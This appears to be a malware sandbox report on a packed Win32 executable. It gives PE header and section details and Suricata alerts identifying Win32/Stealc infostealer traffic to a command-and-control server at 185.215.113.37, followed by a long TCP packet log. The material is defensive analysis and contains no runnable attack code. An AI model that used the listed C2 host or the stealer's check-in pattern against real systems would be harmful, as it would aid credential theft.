Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FE9A938257Ah
setb byte ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FE9A9384575h
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00h], ah
add byte ptr [eax], al
aam 8Fh
jo 00007FE9A93825ADh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	a4b09b7ffb3230976dcd8aae7758ecea	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x2ab000	0x200	9198fb47178a8693b75814fd59721ce2	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
whlvtsns	0x509000	0x1a6000	0x1a5200	98ebc7412ab089640102fc313834b82f	False	0.9947847098545562	data	7.952917726453824	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
upocvnzt	0x6af000	0x1000	0x400	9f9523528e4c9a6bdb571b8454048019	False	0.7685546875	data	6.075357616386505	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6b0000	0x3000	0x2200	3478cb57f2b8e25e281075a99ae7cc00	False	0.07042738970588236	DOS executable (COM)	0.7631473042621372	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-24T02:50:07.951373+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T02:50:08.234682+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T02:50:08.241450+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.37	80	192.168.2.5	49704	TCP
2024-10-24T02:50:08.518469+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T02:50:08.603672+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.37	80	192.168.2.5	49704	TCP
2024-10-24T02:50:09.721699+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T02:50:10.333749+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T02:50:18.993439+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T02:50:20.747012+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T02:50:21.805793+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T02:50:22.610744+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T02:50:24.317671+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T02:50:24.813313+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2024 02:50:06.736876011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:06.742975950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:06.743191957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:06.743374109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:06.748694897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:07.648885965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:07.648979902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:07.651711941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:07.657115936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:07.951153040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:07.951373100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:07.952208996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:07.957896948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:08.234503031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:08.234560966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:08.234682083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:08.235517979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:08.235888004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:08.241450071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:08.518373966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:08.518424988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:08.518456936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:08.518469095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:08.518493891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:08.518500090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:08.518533945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:08.518547058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:08.518547058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:08.518568039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:08.518578053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:08.518604994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:08.518616915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:08.518642902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:08.518656015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:08.518695116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:08.598133087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:08.603672028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:08.879873037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:08.880127907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:08.909364939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:08.909420013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:08.916496992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:08.916543961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:08.916573048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:08.916600943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:08.917035103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:08.917109013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:08.917139053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:08.917166948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:09.721626997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:09.721698999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.053775072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.059370995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.333664894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.333724022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.333749056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.333760977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.333776951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.333796024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.333807945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.333843946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.333996058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.334031105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.334053993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.334125042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.334254026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.334287882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.334307909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.334321976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.334337950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.334372997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.334373951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.334477901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.335091114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.335124016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.335144043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.335156918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.335175991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.335208893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.490803003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.490855932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.490894079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.490894079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.490921974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.490931034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.490955114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.490969896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.490983963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.491023064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.491065025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.491123915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.491125107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.491158962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.491180897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.491194010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.491214037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.491256952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.491967916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.492003918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.492033005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.492041111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.492058039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.492070913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.492090940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.492122889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.607419968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.607486010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.607522964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.607556105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.607592106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.607646942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.607714891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.607810974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.607867956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.607948065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.608001947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.608010054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.608035088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.608046055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.608088970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.608433008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.608486891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.608491898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.608539104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.647690058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.647782087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.647840977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.647895098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.647922993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.647958040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.647972107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.648025990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.724193096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.724226952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.724282026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.724301100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.724318027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.724325895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.724334955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.724370003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.724383116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.724404097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.724415064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.724440098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.724447012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.724482059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.725204945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.725260973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.725302935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.725336075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.725358009 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.725369930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.725380898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.725408077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.764488935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.764525890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.764561892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.764653921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.764653921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.764653921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.764666080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.764699936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.764723063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.764744043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.841135979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.841183901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.841219902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.841244936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.841248989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.841284037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.841289997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.841319084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.841327906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.841353893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.841366053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.841388941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.841398001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.841423988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.841432095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.841469049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.842153072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.842212915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.881237030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.881268024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.881326914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.881361008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.881383896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.881386995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.881422043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.881441116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.881454945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.881464958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.881500959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.881979942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.882028103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.882034063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.882077932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.957621098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.957665920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.957684040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.957707882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.957757950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.957806110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.957968950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.957983971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.957998991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.958015919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.958025932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.958065033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.958616018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.958631992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.958650112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.958681107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.958698034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.998048067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.998083115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.998116016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.998117924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.998128891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.998152971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.998161077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.998192072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.998369932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.998399973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.998414993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.998442888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.998577118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.998608112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:10.998625040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:10.998650074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.074479103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.074506044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.074522018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.074551105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.074593067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.074769974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.074795008 CEST	80	49704	185.215.113.37	192.168.2.5
